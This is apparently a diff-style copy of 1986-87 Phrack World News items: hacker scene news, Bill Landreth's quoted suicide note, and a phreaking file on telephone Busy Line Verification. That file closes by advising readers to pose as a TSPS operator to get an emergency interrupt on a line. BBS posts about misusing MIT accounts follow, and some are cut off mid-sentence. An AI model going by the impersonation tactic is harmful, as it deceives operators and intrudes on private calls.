+[They say everything is bigger in Texas...I guess that includes bullshit too!]

+The Cracker Disappears                                        December 27, 1986
+----------------------
+The rumors and stories are flying around about the disappearance of one
+Bill Landreth aka The Cracker.
+
+Bill Landreth is the author of "Out Of The Inner Circle," a book on hackers
+that was published a few years back.
+
+According to newspaper articles in the San Francisco area, Bill was at a
+friend's home working on some computer program.  His friend stepped out for a
+while and when he returned, there was a lot of garbage on screen and a suicide
+message.
+
+On Ripco BBS, message was posted about Bill Landreth, stating that he had
+disappeared, and was once again wanted by the FBI.  The message asked that
+anyone in contact with Bill would tell him to contact his "friends."
+
+Most of what is going on right now is bogus rumors.  There may be a follow up
+story in the next PWN.

+U.S. Sprint Screws Up                                         December 24, 1986
+---------------------
+Taken From the Fort Lauderdale Sun Sentinal
+
+                          "He got a 1,400 page bill!"
+
+In Montrose, Colorado, Brad Switzer said he thought the box from the U.S.
+Sprint  Long Distance Company was an early Christmas present until he opened it
+and found that it contained a 1,400 page phone bill.
+
+The $34,000 bill was delivered to Switzer's doorstep Monday.  He called U.S.
+Sprint's Denver office, where company officials assured him he was "Off the
+Hook."  A spokesman for U.S. Sprint said that Switzer had mistakenly received
+U.S. Sprint's own phone bill for long distance calls.

+                            BUSY LINE VERIFICATION
+
+                         WRITTEN BY PHANTOM PHREAKER
+
+
+    This file describes how a TSPS operator does a BLV (Busy Line
+Verification) and an EMER INT (Emergency Interrupt) upon a busy line that a
+customer has requested to be 'broken' into. I have written this file to
+hopefully clear up all the misconceptions about Busy Line Verification and
+Emergency Interrupts.
+
+    BLV is 'Busy Line Verification'. That is, discovering if a line is
+busy/not busy. BLV is the telco term, but it has been called Verification,
+Autoverify, Emergency Interrupt, break into a line, REMOB, and others. BLV is
+the result of a TSPS that uses a Stored Program Control System (SPCS) called
+the Generic 9 program. Before the rise of TSPS in 1969, cordboard operators
+did the verification process. The introduction of BLV via TSPS brought about
+more operator security features. The Generic 9 SPCS and hardware was first
+installed in Tucson, Daytona, and Columbus, Ohio, in 1979. By now virtually
+every TSPS has the Generic 9 program.
+
+    A TSPS operator does the actual verification. If caller A was in the 815
+Area code, and caller B was in the 314 Area code, A would dial 0 to reach a
+TSPS in his area code, 815. Now, A, the customer, would tell the operator he
+wished an emergency interrupt on B's number, 314+555+1000. The 815 TSPS op who
+answered A's call cannot do the interrupt outside of her own area code, (her
+service area), so she would call an Inward Operator for B's area code, 314,
+with KP+314+TTC+121+ST, where the TTC is a Terminating Toll Center code that
+is needed in some areas. Now a TSPS operator in the 314 area code would be
+reached by the 815 TSPS, but a lamp on the particular operators console would
+tell her she was being reached with an Inward routing. The 815 operator then
+would say something along the lines of  she needed an interrupt on
+314+555+1000, and her customers name was J. Smith. Now, the 314 Inward (which
+is really a TSPS) would dial B's number, in a normal Operator Direct Distance
+Dialing (ODDD) fashion. If the line wasn't busy, then the 314 Inward would
+report this to the 815 TSPS, who would then report to the customer (caller A)
+that 314+555+1000 wasn't busy and he could call as normal. However if the
+given number (in this case, 314+555+1000) was busy, then several things would
+happen and the process of BLV and EMER INT would begin. The 314 Inward would
+seize a Verification trunk (or BLV trunk) to the toll office that served the
+local loop of the requested number (555+1000). Now another feature of TSPS
+checks the line asked to be verified against a list of lines that can't be
+verified, such as radio stations, police, etc. If the line number a customer
+gives is on the list then the verification cannot be done, and the operator
+tells the customer.
+
+    Now the TSPS operator would press her VFY (VeriFY) key on the TSPS
+console, and the equipment would outpulse (onto the BLV trunk)
+KP+0XX+PRE+SUFF+ST. The KP being Key Pulse, the 0XX being a 'screening code'
+that protects against trunk mismatching, the PRE being the Prefix of the
+requested number (555), the SUFF being the Suffix of the requested number
+(1000), and the ST being STart, which tells the Verification trunk that no
+more MF digits follow. The screening code is there to keep a normal Toll
+Network (used in regular calls) trunk from accidentally connecting to a
+Verification trunk. If this screening code wasn't present, and a trunk
+mismatch did occur, someone calling a friend in the same area code might just
+happen to be connected to his friends line, and find himself in the middle of
+a conversation. But, the Verification trunk is waiting for an 0XX sequence,
+and a normal call on a Toll Network trunk does not outpulse an 0XX first.
+(Example: You live at 914+555+1000, and wish to call 914+666+0000. The routing
+for your call would be KP+666+0000+ST. The BLV trunk cannot accept a 666 in
+place of the proper 0XX routing, and thus would give the caller a re-order
+tone.) Also, note that the outpulsing sequence onto a BLV trunk can't contain
+an Area Code. This is the reason why if a customer requests an interrupt
+outside of his own NPA, the TSPS operator must call an Inward for the area
+code that can outpulse onto the proper trunk. If a TSPS in 815 tried to do an
+interrupt on a trunk in 314, it would not work. This proves that there is a
+BLV network for each NPA, and if you somehow gain access to a BLV trunk, you
+could only use it for interrupts within the NPA that the trunk was located in.
+
+    BLV trunks 'hunt' to find the right trunks to the right Class 5 End Office
+that serves the given local loop. The same outpulsing sequence is passed along
+BLV trunks until the BLV trunk serving the Toll Office that serves the given
+End Office is found.
+
+    There is usually one BLV trunk per 10,000 lines (exchange). So, if a Toll
+Office served ten End Offices, that Toll Office would have 100,000 local loops
+that it served, and have 10 BLV trunks running from TSPS to that Toll Office.
+
+    Now, the operator (in using the VFY key) can hear what is going on on the
+line, (modem, voice, or a permanent signal, indicating a phone off-hook) and
+take appropriate action. She can't hear what's taking place on the line
+clearly, however. A speech scrambler circuit within the operator console
+generates a scramble on the line while the operator is doing a VFY. The
+scramble is there to keep operators from listening in on people, but it is not
+enough to keep an op from being able to tell if a conversation, modem signal,
+or a dial tone is present upon the line. If the operator hears a permanent
+signal, she can only report back to the customer that either the phone is
+off-hook, or there is a problem with the line, and she can't do anything about
+it. In the case of caller A and B, the 314 Inward would tell the 815 TSPS, and
+the 815 TSPS would tell the customer. If there is a conversation on line, the
+operator presses a key marked EMER INT (EMERgency INTerrupt) on her console.
+This causes the operator to be added into a three way port on the busy line.
+The EMER INT key also deactivates the speech scrambling circuit and activates
+an alerting tone that can be heard by the called customer. The alerting tone
+that is played every 10 seconds tells the customer that an operator is on the
+line. Some areas don't have the alerting tone, however. Now, the operator
+would say 'Is this XXX-XXXX?' where XXX-XXXX would be the Prefix and Suffix of
+the number that the original customer requesting the interrupt gave the
+original TSPS. The customer would confirm the operator had the correct line.
+Then the Op says 'You have a call waiting from (customers name). Will you
+accept?'. This gives the customer the chance to say 'Yes' and let the calling
+party be connected to him, while the previous party would be disconnected. If
+the customer says 'No', then the operator tells the person who requested the
+interrupt that the called customer would not accept. The operator can just
+inform the busy party that someone needed to contact him or her, and have the
+people hang up, and then notify the requesting customer that the line is free.
+Or, the operator can connect the calling party and the interrupted party
+without loss of connection.
+
+    The charges for this service (in my area at least) run 1.00 for asking the
+operator to interrupt a phone call so you can get through. There is an .80
+charge if you ask the operator to verify whether the phone you're trying to
+reach is busy because of a service problem or because of a conversation. If
+the line has no conversation on it, there will be no charge for the
+verification.
+
+    When the customer who initiated the emergency interrupt gets his telephone
+bill, the charges for the interrupt call will look similar to this:
+
+12-1   530P     INTERRUPT  CL       314 555 1000  OD     1               1.00
+
+    The 12-1 is December first of the current year; 530P is the time the call
+was made to the operator requesting an interrupt; INTERRUPT CL is what took
+place, that is, an interrupt call; 314 555 1000 is the number requested; OD
+stands for Operator Dialed; the 1 is the length of the call (in minutes); and
+the 1.00 is the charge for the interrupt.  The format may be different,
+depending upon your area and telephone company.
+
+    One thing I forgot to mention about TSPS operators. In places where a
+Remote Trunking Arrangement is being used, and even places where they aren't
+in use, you may be connected to a TSPS operator in a totally different area
+code. In such a case, the TSPS that you reach in a Foreign NPA will call up an
+inward operator for your Home NPA, if the line you requested an EMER INT on
+was in your HNPA. If the line you requested EMER INT on was in the same NPA of
+the TSPS that you had reached, then no inward operator would be needed and the
+answering operator could do the entire process.
+
+    Verification trunks seem to be only accessible by a TSPS/Inward operator.
+However, there have been claims to people doing Emergency Interrupts with blue
+boxes. I don't know how to accomplish an EMER INT without the assistance of an
+operator, and I don't know if it can be done. If you really wish to
+participate in a BLV/EMER INT, call up an Inward Operator and play the part of
+a TSPS operator who needs an EMER INT upon a pre-designated busy line. Billing
+is handled at the local TSPS so you will not have to supply a billing number
+if you decide to do this.
+
+
+    If you find any errors in this file, please try to let me know about it,
+and if you find out any other information that I haven't included, feel free
+to comment.

+Scan Man Revisited                                            January 19, 1987
+------------------
+The following is a reprint from TeleComputist Newsletter Issue Two;
+
+                 SCAN MAN - FED OR PHREAK?  (The Other Side)
+
+    TeleComputist is printing the statement Scan Man has made to us
+[TeleComputist] in rebuttal to Phrack World News, whom previously printed an
+article concerning Scan Man in Phrack Issue VIII.  Those of you who have seen
+or read the article in Phrack VIII know that it basically covered information
+and an intercepted memo alleging Scan Man of going after hackers and turning
+in codes off his BBS (P-80 Systems, Charleston, West Virginia 304/744-2253) as
+a TMC employee.  Please note that this statement should be read with the
+article concerning Scan Man in Phrack Issue VIII to get the full
+understanding.
+
+    Scan Man started off his statement claiming not to work for TMC, but
+instead for a New York branch office of Telecom Management (a Miami based
+firm).  He was flown in from Charleston, West Virginia to New York every week
+for a four to five day duration.  Once in New York, Telecom Management made
+available a leased executive apartment where Scan Man stayed as he worked.
+His position in Telecom Management was that of a systems analyst, "...and that
+was it!" Scan Man stated.  Scan Man also stated that he had never made it a
+secret that he was working in New York and had even left messages on his BBS
+saying this.
+
+    He also went on to say that he had no part in the arrest of Shawn [of
+Phreaker's Quest] (previously known as Captain Caveman) by TMC in Las Vegas.
+Scan Man claimed to have no ties with TMC in Las Vegas and that they would not
+even know him.  Scan Man then went on to say that Shawn had never replied to
+previous messages Scan man had left asking for TMC codes.  Scan Man also said
+that the messages about TMC were in no way related to him.  He claimed to have
+no ties to TMC, which is a franchised operation which makes even TMC unrelated
+except by name.
+
+   Scan Man stated that he called Pauline Frazier and asked her about the
+inquiry by Sally Ride [:::Space Cadet] who acted as an insider to obtain the
+information in Phrack VIII.  He said that Pauline said nothing to the imposter
+(Sally Ride) and merely directed him to a TMC employee named Kevin Griffo.
+Scan Man then went on to say that the same day Sally Ride called Pauline
+Frazier was the same day he received his notice.  And to that Scan Man made
+the comment, "If I find out this is so heads will roll!"
+
+    After that comment, Scan Man came up with arguments of his own, starting
+off with the dates printed in Phrack VIII.  He claimed that the dates were off
+and backed this up by saying Ben Graves had been fired six months previously
+to the conversation with Sally Ride.  Scan Man then went on to ask why it had
+taken Sally Ride so long to come forward with his information.  Scan Man made
+one last comment, "It's a fucking shame that there is a social structure in
+the phreak world!"  Meaning Sally Ride merely presented his information to
+give himself a boost socially in the phreak world.
+
+    This is how it ended.  We would like to say that TeleComputist printed the
+statement by Scan Man to offer both sides of the story.  We make no judgements
+here and take no sides.

+Ok, that was Scan Man's side to the story, now that he had a few months to
+come up with one.  Lets do a critical breakdown;
+
+-*- "He was flown in from Charleston, West Virginia to New York every week for
+    a four to five day duration."
+
+    Gee, wouldn't that get awfully expensive?  Every week...and "made
+    available a leased executive apartment..."   He must have been quite an
+    asset to "Telecom Management" for them to spend such large amounts on him.
+    Kinda interesting that he lived in Charleston, West Virginia (where
+    surprisingly enough there is a branch of TMC) and flew to New York every
+    week.
+
+-*- "Scan Man claimed to have no ties with TMC in Las Vegas..."  Ok, I'll buy
+    that.  Notice how he didn't say that he had no ties with TMC in
+    Charleston.  Furthermore if he had no ties with TMC in Charleston why
+    would they have his name in their company records?  Why would all those
+    employees know him or dislike him for that matter?
+
+-*- "Scan Man then went on to say that the same day Sally Ride called Pauline
+    Frazier was the day he received his notice."  Well now, how can there be a
+    connection between the two events at all when Scan Man works for Telecom
+    Management and has "no ties with TMC" and claimed "not to work for TMC"?
+    If TMC and Telecom Management are truly independent of each other then
+    nothing Sally Ride said to Pauline Frazier could have affected him in ANY
+    way. That is unless he did work for TMC in the first place.
+
+-*- "...and back this up by saying that Ben Graves had been fired six months
+    previously to the conversation with Sally Ride."  Well first of all, PWN
+    did not give a date as to when Ben Graves was fired from TMC.  Second of
+    all and more important, how does Scan Man know so much about TMC when he
+    works for "Telecom Management" and has "...no ties with TMC..."?
+
+The rest of his statements were highly debatable and he showed no proof as to
+their validity.  As for why Sally Ride waited so long to come forward, well he
+didn't wait that long at all, he came forward to myself in late May/early June
+of 1986.  My decision was to do nothing because there wasn't enough proof.
+After three months of research we had enough proof and the article was
+released.
+
+With this attempt to cover up the truth, Scan Man has only given more
+ammunition to the idea that he isn't what he claims to be.

+The Cracker Cracks Up?                                       December 21, 1986
+----------------------
+         "Computer 'Cracker' Is Missing -- Is He Dead Or Is He Alive"
+
+ By Tom Gorman of The Los Angeles Times
+
+ESCONDIDO, Calif. -- Early one morning in late September, computer hacker Bill
+Landreth pushed himself away from his IBM-PC computer -- its screen glowing
+with an uncompleted sentence -- and walked out the front door of a friend's
+home here.
+
+He has not been seen or heard from since.
+
+The authorities want him because he is the "Cracker", convicted in 1984 of
+breaking into some of the most secure computer systems in the United States,
+including GTE Telemail's electronic mail network, where he peeped at NASA
+Department of Defense computer correspondence.
+
+He was placed on three years' probation.  Now his probation officer is
+wondering where he is.
+
+His literary agent wants him because he is Bill Landreth the author, who
+already has cashed in on the successful publication of one book on computer
+hacking and who is overdue with the manuscript of a second computer book.
+
+The Institute of Internal Auditors wants him because he is Bill Landreth the
+public speaker who was going to tell the group in a few months how to make
+their computer systems safer from people like him.
+
+Susan and Gulliver Fourmyle want him because he is the eldest of their eight
+children.  They have not seen him since May 1985, when they moved away from
+Poway in northern San Diego county, first to Alaska then to Maui where they
+now live.
+
+His friends want him because he is crazy Bill Landreth, IQ 163, who has pulled
+stunts like this before and "disappeared" into the night air -- but never for
+more than a couple of weeks and surely not for 3 months.  They are worried.
+
+Some people think Landreth, 21, has committed suicide.  There is clear
+evidence that he considered it -- most notably in a rambling eight-page
+discourse that Landreth wrote during the summer.
+
+The letter, typed into his computer, then printed out and left in his room for
+someone to discover, touched on the evolution of mankind, prospects for man's
+immortality and the defeat of the aging process, nuclear war, communism versus
+capitalism, society's greed, the purpose of life, computers becoming more
+creative than man and finally -- suicide.
+
+The last page reads:
+
+"As I am writing this as of the moment, I am obviously not dead.  I do,
+however, plan on being dead before any other humans read this.  The idea is
+that I will commit suicide sometime around my 22nd birthday..."
+
+The note explained:
+
+"I was bored in school, bored traveling around the country, bored getting
+raided by the FBI, bored in prison, bored writing books, bored being bored.  I
+will probably be bored dead, but this is my risk to take."
+
+But then the note said:
+
+"Since writing the above, my plans have changed slightly.... But the point is,
+that I am going to take the money I have left in the bank (my liquid assets)
+and make a final attempt at making life worthy.  It will be a short attempt,
+and I do suspect that if it works out that none of my current friends will
+know me then.  If it doesn't work out, the news of my death will probably get
+around. (I won't try to hide it.)"
+
+Landreth's birthday is December 26 and his best friend is not counting on
+seeing him again.
+
+"We used to joke about what you could learn about life, especially since if
+you don't believe in a God, then there's not much point to life," said Tom
+Anderson, 16, a senior at San Pasqual High School in Escondido, about 30 miles
+north of San Diego.  Anderson also has been convicted of computer hacking and
+placed on probation.
+
+Anderson was the last person to see Landreth.  It was around September 25 --
+he does not remember exactly.  Landreth had spent a week living in Anderson's
+home so the two could share Landreth's computer.  Anderson's IBM-PC had been
+confiscated by authorities, and he wanted to complete his own book.
+
+Anderson said he and Landreth were also working on a proposal for a movie
+about their exploits.
+
+"He started to write the proposal for it on the computer, and I went to take a
+shower," Anderson said.  "When I came out, he was gone.  The proposal was in
+mid-sentence.  And I haven't seen him since."
+
+Apparently Landreth took only his house key, a passport, and the clothes on
+his back.
+
+Anderson said he initially was not concerned about Landreth's absence.  After
+all this was the same Landreth who, during the summer, took off for Mexico
+without telling anyone -- including friends he had seen just the night before
+-- of his departure.
+
+But concern grew by October 1, when Landreth failed to keep a speaking
+engagement with a group of auditors in Ohio, for which he would have received
+$1,000 plus expenses.  Landreth may have kept a messy room and poor financial
+records, but he was reliable enough to keep a speaking engagement, said his
+friends and literary agent, Bill Gladstone, noting that Landreth's second
+manuscript was due in August and had not yet been delivered.
+
+But, the manuscript never came and Landreth has not reappeared.
+
+Steve Burnap, another close friend, said that during the summer Landreth had
+grown lackadaisical toward life.  "He just didn't seem to care much about
+anything anymore."

+Beware The Hacker Tracker                                       December, 1986
+-------------------------
+By Lamont Wood of Texas Computer Market Magazines
+
+If you want to live like a spy in your own country, you don't have to join the
+CIA or the M15 or the KGB.  You can track hackers, like John Maxfield of
+Detroit.
+
+Maxfield is a computer security consultant running a business called
+BoardScan, which tracks hackers for business clients.  He gets occasional
+death threats and taunting calls from his prey, among whom he is known as the
+"hacker tracker," and answers the phone warily.
+
+And although he has received no personal harassment, William Tener, head of
+data security for the information services division of TRW, Inc., has found it
+necessary to call in experts in artificial intelligence from the aerospace
+industry in an effort to protect his company's computer files.  TRW is a juicy
+target for hackers because the firm stores personal credit information on
+about 130 million Americans and 11 million businesses -- data many people
+would love to get hold of.
+
+Maxfield estimates that the hacker problem has increased by a factor of 10 in
+the last four years, and now seems to be doubling every year.  "Nearly every
+system can be penetrated by a 14-year old with $200 worth of equipment," he
+complains.  "I have found kids as young as nine years old involved in hacking.
+If such young children can do it, think of what an adult can do."
+
+Tener estimates that there are as many as 5,000 private computer bulletin
+boards in the country, and that as many as 2,000 are hacker boards.  The rest
+are as for uses as varied as club news, customer relations, or just as a hobby.
+Of the 2,000 about two dozen are used by "elite" hackers, and some have
+security features as good as anything used by the pentagon, says Maxfield.
+
+The number of hackers themselves defies estimation, if only because the users
+of the boards overlap.  They also pass along information from board to board.
+Maxfield says he has seen access codes posted on an east coast bulletin board
+that appeared on a west coast board less than an hour later, having passed
+through about ten boards in the meantime.  And within hours of the posting of
+a new number anywhere, hundreds of hackers will try it.
+
+"Nowadays, every twerp with a Commodore 64 and a modem can do it, all for the
+ego trip of being the nexus for forbidden knowledge," sighs a man in New York
+City, known either as "Richard Cheshire" or "Chesire Catalyst" -- neither is
+his real name.  Cheshire was one of the earliest computer hackers, from the
+days when the Telex network was the main target, and was the editor of TAP, a
+newsletter for hackers and phone "phreaks".  Oddly enough, TAP itself was an
+early victim of the hacker upsurge.  "The hacker kids had their bulletin
+boards and didn't need TAP -- we were technologically obsolete," he recalls.
+
+So who are these hackers and what are they doing?  Tener says most of the ones
+he has encountered have been 14 to 18 year old boys, with good computer
+systems, often bright, middle class, and good students.  They often have a
+reputation for being loners, if only because they spend hours by themselves at
+a terminal, but he's found out-going hacker athletes.
+
+But Maxfield is disturbed by the sight of more adults and criminals getting
+involved.  Most of what the hackers do involves "theft of services" -- free
+access to Compuserve, The Source, or other on-line services or corporate
+systems.  But, increasingly, the hackers are getting more and more into credit
+card fraud.
+
+Maxfield and Cheshire describe the same process -- the hackers go through
+trash bins outside businesses whose computer they want to break into looking
+for manuals or anything that might have access codes on it.  They may find it,
+but they also often find carbon copies of credit card sales slips, from which
+they can read credit card numbers.  They use these numbers to order
+merchandise -- usually computer hardware -- over the phone and have it
+delivered to an empty house in their neighborhood, or to a house where nobody
+is home during the day. Then all they have to do is be there when the delivery
+truck arrives.
+
+"We've only been seeing this in the last year," Maxfield complains.  "But now
+we find adults running gangs of kids who steal card numbers for them.  The
+adults resell the merchandise and give the kids a percentage of the money."
+
+It's best to steal the card number of someone rich and famous, but since
+that's usually not possible it's a good idea to be able to check the victim's
+credit, because the merchant will check before approving a large credit card
+sale.  And that's what makes TRW such a big target -- TRW has the credit
+files.  And the files often contain the number of any other credit cards the
+victim owns, Maxfield notes.
+
+The parents of the hackers, meanwhile, usually have no idea what their boy is
+up to -- he's in his room playing, so what could be wrong?  Tener recalls a
+case where the parents complained to the boy about the high phone bill one
+month.  And the next month the bill was back to normal.  And so the parents
+were happy.  But the boy had been billing the calls to a stolen telephone
+company credit card.
+
+"When it happens the boy is caught and taken to jail, you usually see that the
+parents are disgruntled at the authorities -- they still think that Johnny was
+just playing in his bedroom.  Until, of course, they see the cost of Johnny's
+play time, which can run $50,000 to $100,000.  But outside the cost, I have
+never yet seen a parent who was really concerned that somebody's privacy has
+been invaded -- they just think Johnny's really smart," Tener says.
+
+TRW will usually move against hackers when they see a TRW file or access
+information on a bulletin board.  Tener says they usually demand payment for
+their investigation costs, which average about $15,000.
+
+Tales of the damage hackers have caused often get exaggerated.  Tener tells of
+highly publicized cases of hackers who, when caught, bragged about breaking
+into TRW, when no break-ins had occurred.  But Maxfield tells of two 14-year
+old hackers who were both breaking into and using the same corporate system.
+They had an argument and set out to erase each other's files, and in the
+process erased other files that cost about a million dollars to replace.
+Being juveniles, they got off free.
+
+After being caught, Tener says most hackers find some other hobby.  Some,
+after turning 18, are hired by the firms they previously raided.  Tener says
+it rare to see repeat offenders, but Maxfield tells of one 14-year-old repeat
+offender who was first caught at age 13.
+
+Maxfield and Tener both make efforts to follow the bulletin boards, and
+Maxfield even has a network of double agents and spies within the hacker
+community.  Tener uses artificial intelligence software to examine the day's
+traffic to look for suspicious patterns.  TRW gets about 40,000 inquiries an
+hour and has about 25,000 subscribers.  But that does not address the
+underlying problem.
+
+"The real problem is that these systems are not well protected, and some can't
+be protected at all," Maxfield says.
+
+Cheshire agrees.  "A lot of companies have no idea what these kids can do to
+them," he says.  "If they would make access even a little difficult the kids
+will go on to some other system."  As for what else can be done, he notes that
+at MIT the first thing computer students are taught is how to crash the
+system. Consequently, nobody bothers to do it.
+
+But the thing that annoys old-timer Cheshire (and Maxfield as well) is that
+the whole hacker-intruder-vandal-thief phenomenon goes against the ideology of
+the original hackers, who wanted to explore systems, not vandalize them.
+Cheshire defines the original "hacker ethic" as the belief that information is
+a value-free resource that should be shared.  In practice, it means users
+should add items to files, not destroy them, or add features to programs,
+rather than pirate them.
+
+"These kids want to make a name for themselves, and they think that they need
+to do something dirty to do that.  But they do it just as well by doing
+something clever, such as leaving a software bug report on a system," he
+notes.
+
+Meanwhile, Maxfield says we are probably stuck with the problem at least until
+the phone systems converts to digital technology, which should strip hackers
+of anonymity by making their calls easy to trace.
+
+Until someone figures out how to hack digital phone networks, of course. -TCM

+Computer Bulletin Boards                                       January 8, 1986

+Karen:  If Santa Claus brought you a computer for Christmas, beware of seeing
+        a few things you may not have bargained for.  Computer bulletin boards
+        have spread by the thousands over the past few years and now some
+        people are concerned that the electronic messages may have gotten a
+        bit out of hand.
+
+Russ:  In its simplest definition, a computer bulletin board is a program or
+       message that can be accessed by other computers via telephone lines.
+       Anyone who has a home computer and a modem can receive and transmit to
+       computer bulletin boards.  There are thousands of them nationwide, but
+       some are causing quite a stink [What a profound statement Russ].
+
+               [Flash to a picture of a geeky looking teenager]
+
+       Meet Jason Rebbe, he is a 16 year old computer whiz who a few months
+       ago accidentally tapped into a bulletin board called Dr. Doom's Castle.
+       [Sorry to break in here Russ, but why is this guy a computer whiz?
+       Just because he has a computer?  Hey Russ, look a little closer, isn't
+       Jason sitting in front of a Commodore-64?  I thought so.  Oh yeah one
+       other thing, this BBS Dr. Doom's Castle has no known relation to Dr.
+       Doom (512) or Danger Zone Private.]  Dr. Doom gives instructions on how
+       to build bombs and guns [Lions and Tigers and Bears, oh my!].  Jason
+       found the recipe for smoke bombs and tried to make one in his kitchen,
+       it didn't work.  [Ba ha ha].
+
+Jason:  I heard an explosion in the basement first and that's when I knew
+        something was wrong.  I thought it would be really neat to just set it
+        off someday when there was a lot of people around, just as a joke or a
+        prank.  [Yeah, that would be K-Rad d00d!].  I didn't expect it to blow
+        up my house.
+
+Russ:  Jason wasn't hurt, but it cost about 2 grand [that's $2,000 to you and
+       me] to repair the kitchen.  Jason's dad didn't take it well.
+
+Bob Holloway:  Mad wasn't the word for it.  I, I was, I was past mad.
+
+Russ:  Mr. Holloway called Southwestern Bell and AT&T to see what could be
+       done about bulletin boards like Dr. Doom's Castle.  The answer was
+       nothing.  The Bureau of Alcohol, Tobacco, and Firearms said the same
+       thing.
+
+Daniel Hoggart (Bureau of Alcohol, Tobacco, and Firearms): There is no
+               violation in publishing the information.  The violation only
+               occurs when someone actually follows through on the
+               instructions and actually constructs a bomb.
+
+Russ:  Another bulletin board that is becoming more and more prevalent these
+       days is the Aryian Nation.  This one [bulletin board] in Chicago says,
+       "If you are an anti-Communist you have made the right connection...on
+       the other hand, if you are consumed with such myths as
+       Judeo-Christianity, you most definitely dialed the wrong number."
+
+Stan Anderman (Anti-Defamation League):  Some of this really extreme hatred
+              is an attempt to create an environment where violence becomes
+              acceptable.
+
+Russ:  Like most computer bulletin boards the Aryian Nation message is legal
+       and falls under free speech laws.  However, a bill is scheduled to go
+       to congress this session outlawing the kinds of bulletin boards we saw
+       here tonight.
+
+       But, for the moment, hackers should not be too surprised if something
+       unusual pops up on their computer terminal.  [Ahem, Russ, you did it
+       again.  All computer users are *NOT* hackers.]

+
+<2>  Make sure we log off properly.  Control-D.  This is a UNIX system.
+
+<3>  Not to call between 9 AM and 5 PM Eastern Standard Time.  This
+     is to avoid tying up the system.
+

+
+Ok people, MIT is pissed, someone hasn't been keeping the bargain and they
+aren't too thrilled about it.   There were only three things they asked us to
+do, and they were reasonable too.  All they wanted was for us to not
+compromise the security much more than we had already, logoff properly, not
+leave any processes going, and call only during non-business hours, and we
+would be able to use the GUEST accounts as much as we like.
+
+Someone got real nice and added themselves to the "daemon" group which is
+superusers only, the name was "celtic".  Gee, I wonder who that could have
+been?  I'm not pissed at anyone, but I'd like to keep on using MIT's
+computers, and they'd love for us to be on, but they're getting paranoid.
+Whoever is calling besides me, be cool ok?  They even gave me a voice phone to
+chat with their sysops with.  How often do you see this happen?

+a little perturbed but not pissed...

+Major Problems
+Name: Druidic Death
+Date: 12:20 pm  Sat Jan 31, 1987
+
+OK, major stuff going down.  Some unidentified individual logged into the
+Physics Dept's PDP11/34 at 617-253-XXXX and was drastically violating the
+"agreement" we had reached.  I was the one that made the "deal" with them.
+And they even gave me a voice line to talk to them with.
+
+Well, one day I called the other Physics computer, the office AT and
+discovered that someone created an account in the superuser DAEMON group
+called "celtic". Well, I was contacted by Brian through a chat and he told me
+to call him.  Then he proceeded to nicely inform me that "due to unauthorized
+abuse of the system, the deal is off".
+
+He was cool about it and said he wished he didn't have to do that.  Then I
+called George, the guy that made the deal and he said that someone who said he
+was "Celtic Phrost" went on to the system and deleted nearly a year's worth of
+artificial intelligence data from the nuclear fission research base.
+
+Needless to say I was shocked.  I said that he can't believe that it was one
+of us, that as far as I knew everyone was keeping the deal.  Then he (quite
+pissed off) said that he wanted all of our names so he can report us to the
+FBI.  He called us fags, and all sorts of stuff, he was VERY!! [underline
+twice] PISSED! I don't blame him.  Actually I'm not blaming Celtic Phrost, it
+very easily could have been a frame up.
+
+But another thing is George thinks that Celtic Phrost and Druidic Death are
+one and the same, in other words, he thinks that *I* stabbed him in the back.
+Basically he just doesn't understand the way the hacker community operates.
+
+Well, the deal is off, they plan to prosecute whoever they can catch.  Since
+George is my best friend's brother I have not only lost a friend, but I'm
+likely to see some legal problems soon.  Also, I can forget about doing my
+graduate work at MIT.  Whoever did this damage to them, I hope you're happy.
+You really messed things up real nice for a lot of people.
+
+Celtic, I don't have any reason to believe you messed with them.  I also have
+no reason to think you didn't.  I'm not making an accusation against you, but
+WHOEVER did this, deserves to be shot as far as I'm concerned.  Until this
+data was lost, they were on the verge of harnessing a laser-lithium produced
+form of nuclear fission that would have been more efficient than using the

+
+I realize that it's hard to believe that they would have data like this on
+this system.  But they were quite stupid in many other areas too.  Leaving the
+superuser account with no password??  Think about it.
+
+It's also possible that they were exaggerating.  But regardless, damage seems
+to have been done.

+Heck! I dunno, but whoever it was, I think, should let himself (the s00per
+K-rad elyte d00d he is) be known.
+
+I wasn't on MIT, but it was pretty dumb of MIT to even let Hackers on.  I
+wouldn't really worry though, they did let you on, and all you have to prove
+is that you had no reason to do it.

+I highly doubt that is was someone on this system.  Since this is an elite
+board, I think all the users are pretty decent and know right and wrong things
+to do.  Could be that one of the users on this system called another system
+and gave it out!??  Nahh...shooting the asshole is not enough, let's think of
+something better.

+
+It seems to me, or, what I gathered, they felt that there were going to be
+hackers on the system to begin with and that this way they could keep
+themselves basically safe.
+
+I doubt that it was Celtic Phrost, I don't think he'd be an asshole like that.
+But I can't say.  When I posted, I was pretty pissed about the whole deal.
+I've calmed down now.  Psychic Warlord said something to me voice the other
+day that made me stop and think.  What if this was a set up right from the
+start? I mean, MIT won't give me specifics on just what supposedly happened,
+Celtic Phrost denies everything, and the biggest part of it is what George
+said to me.
+
+"We can forgive you for what you did to us if you'll promise to go straight
+and never do this again and just tell us who all of your friends are that are
+on the system".
+
+I didn't pay much attention to that remark at first, now I'm beginning to
+wonder...
+
+I, of course, didn't narc on anyone.  (Who do I know??? hehe)

+Well if they were serious about the FBI, I wouldn't take this too lightly.
+Lately at Stanford there has been a lot of investigators that I've pinpointed
+running around.  This is mainly due to the number of break-ins this summer.
+
+Anyways, if a large college like MIT says they may call in the FBI, be wary,

+Phortune 500:  Phreakdom's Newest Organization               February 16, 1987
+----------------------------------------------
+For those of you who are in the least bit interested, Phortune 500 is a group
+of telecommunication hobbyists who's goal is to spread information as well as
+further their own knowledge in the world of telecommunications.  This new
+group was formed by:
+
+       Brew Associates/Handsomest One/Lord Lawless/The Renegade Chemist
+             Quinton J. Miranda/Striker/The Mad Hacker/The Spiker
+
+These eight members are also known as Board Of Directors (BOD).  They don't
+claim to be *Elite* in the sense that they are they world's greatest hackers,
+but they ARE somewhat picky about their members.  They prefer someone who
+knows a bit about everything and has talents exclusive to him/herself.
+
+One of the projects that Phortune 500 has completed is an individual password
+AE type system.  It's called TransPhor.  It was written and created by Brew
+Associates.  It has been Beta tested on The Undergraduate Lounge (Sysoped by
+Quinton J. Miranda).   It is due to be released to the public throughout the
+next few months.
+
+Phortune 500 has been in operation for about 4 months, and has released two
+newsletters of their own.  The Phortune 500 Newsletter is quite like the
+"People" of contemporary magazines.  While some magazines cover the deep
+technical aspects of the world in which we communicate, their newsletter tries
+to cover the lighter side while throwing in information that they feel is "of
+technical nature."   The third issue is due to be released by the end of this
+month.

